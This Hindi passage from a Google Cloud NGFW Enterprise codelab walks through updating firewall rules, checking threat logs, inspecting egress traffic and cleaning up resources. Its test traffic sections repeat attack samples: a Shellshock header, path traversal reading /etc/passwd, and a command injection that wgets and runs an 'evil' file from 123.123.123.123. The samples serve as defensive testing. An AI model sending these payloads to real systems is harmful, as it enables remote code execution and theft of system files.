gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
इसके अलावा, फ़ायरवॉल के नियमों के बारे में बताएं, ताकि यह पुष्टि की जा सके कि दोनों को अपडेट कर दिया गया है:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
अनुमानित आउटपुट:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
नियम 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
अनुमानित आउटपुट:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
क्लाइंट VM पर वापस स्विच करें और आंतरिक सर्वर आईपी (ईस्ट-वेस्ट / इंटर-वीपीसी जांच) पर, हमले के सैंपल फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Cloud NAT (नॉर्थ-साउथ इनबाउंड जांच) की मदद से, बाहरी सर्वर आईपी पर हमले के सैंपल फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
नीचे दिए गए अनुमानित आउटपुट के मुताबिक, पहले हमले के लिए कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि गंभीर हमले अब ब्लॉक किए जा रहे हैं.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
लॉग की पुष्टि करने के लिए, Cloud Console पर नेटवर्क सुरक्षा > खतरे पर जाएं. अगर हमले अब तक नहीं दिख रहे हैं, तो आपको कुछ बार रीफ़्रेश करना पड़ सकता है.
किसी एक हमले को चुनें और दाईं ओर मौजूद "ऑडिट लॉग देखें" पर क्लिक करें. आसानी से वापस जाने के लिए, इसे नए टैब में खोलें. जानकारी दिखाने के लिए, हमले को बड़ा करें:
इसके अलावा, लॉग एक्सप्लोरर फ़िल्टर को नीचे दी गई क्वेरी से बदलें:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
खतरे के लॉग की एंट्री इस तरह दिखनी चाहिए:
क्लाउड फ़ायरवॉल से इंटरसेप्ट किए गए पैकेट की पुष्टि, नीचे दिए गए लॉग एक्सप्लोरर फ़िल्टर का इस्तेमाल करके की जा सकती है. यह समस्या हल करने में मददगार होता है:
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
इंटरनेट ट्रैफ़िक की जांच जारी रखें (ज़रूरी नहीं) या एसएसएच सेशन बंद करें और क्लीन-अप के तरीके जानने के लिए अगले चैप्टर पर जाएं.
[ज़रूरी नहीं] इंटरनेट ट्रैफ़िक की जांच करना
पिछले सेक्शन में पुष्टि की गई है कि अब तक जिन फ़्लो की जांच की गई है वे इंटर-सबनेट/VPC (ईस्ट-वेस्ट) और इंटरनेट से आने वाला ट्रैफ़िक (नॉर्थ-साउथ इनबाउंड) हैं. Cloud Shell का इस्तेमाल करके, नया एक्सग्रेस नियम बनाकर, Cloud NGFW Enterprise को सभी इंटरनेट ट्रैफ़िक (नॉर्थ-साउथ आउटबाउंड) की जांच करने के लिए भी कॉन्फ़िगर किया जा सकता है:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
क्लाइंट वीएम पर वापस स्विच करें और बाहरी सर्वर आईपी पर गंभीर हमले फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
अनुमानित आउटपुट:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
लॉग की पुष्टि करने के लिए, Cloud Console पर 'खतरे' टैब पर स्विच करें. इसके लिए, आपको कुछ बार रीफ़्रेश करना पड़ सकता है. हमले की पहचान हो जानी चाहिए और उन्हें फिर से लॉग किया जाना चाहिए. हालांकि, अब सोर्स आईपी इंटरनल है, क्योंकि पहले एक आउटगोइंग रूल ट्रिगर हो रहा है:
एसएसएच सेशन बंद करें और क्लीन-अप करने के तरीके के लिए अगले सेक्शन पर जाएं.
8. खाता मिटाने का तरीका
Cloud NGFW Enterprise के कॉम्पोनेंट को हटाना
Cloud NGFW Enterprise के मौजूदा असोसिएशन की सूची:
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise असोसिएशन मिटाएं:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise के मौजूदा एंडपॉइंट की सूची:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Cloud NGFW Enterprise एंडपॉइंट मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
नीचे दिया गया निर्देश चलाकर, पुष्टि करें कि Cloud NGFW Enterprise मिटा दिया गया है:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
सुरक्षा प्रोफ़ाइल ग्रुप और खतरे से बचाव करने वाली प्रोफ़ाइल मिटाएं:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
बेस सेटअप को खाली करना
अगर आपको बुनियादी संसाधन मिटाने हैं, तो अगले चरण पर जाएं.
अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल तय करें. Cloud Shell में जाकर, नेटवर्क लोड बैलेंसर कॉम्पोनेंट मिटाएं:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
इंस्टेंस हटाएं:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
इसके अलावा, अगर tagAdmin और tagUsers की भूमिकाएं बदली गई हैं, तो नीचे दिया गया तरीका अपनाएं:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
टैग की और वैल्यू हटाएं:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud फ़ायरवॉल नेटवर्क नीति और असोसिएशन मिटाएं:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
क्लाउड राऊटर और क्लाउड एनएटी मिटाएं:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
रिज़र्व किए गए आईपी पते मिटाना:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
आखिर में, सबनेट और वीपीसी नेटवर्क मिटाएं:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. बधाई हो!
बधाई हो, आपने ईस्ट-वेस्ट और नॉर्थ-साउथ इंस्पेक्शन के लिए Cloud NGFW Enterprise कोडलैब को पूरा कर लिया है.